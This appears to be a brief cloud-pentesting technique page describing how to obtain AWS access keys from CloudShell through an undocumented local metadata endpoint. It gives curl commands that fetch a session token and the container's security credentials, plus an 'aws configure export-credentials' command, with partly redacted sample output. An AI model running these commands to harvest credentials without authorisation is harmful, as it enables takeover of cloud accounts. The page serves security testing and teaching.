Generate IAM Access Keys from CloudShell
Using an undocumented endpoint, we can leverage CloudShell from the AWS Console and create AWS Access Keys for the logged on user.
Last updated
# Get the token
TOKEN=`curl -X PUT "http://localhost:1338/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`# Retrieve creds
curl -H "X-aws-ec2-metadata-token: $TOKEN" localhost:1338/latest/meta-data/container/security-credentials
{
"Type": "",
"AccessKeyId": "ASIAUU...",
"SecretAccessKey": "ak24Bx8e...",
"Token": "IQoJb3Jp...",
"Expiration": "2024-12-18T18:10:17Z",
"Code": "Success"aws configure export-credentials
{
"Version": 1,
"AccessKeyId": "ASIA[REDACTED]",
"SecretAccessKey": "3LDU[REDACTED]",
"SessionToken": "IQoJ[REDACTED]",
"Expiration": "2024-12-15T01:47:22+00:00"
}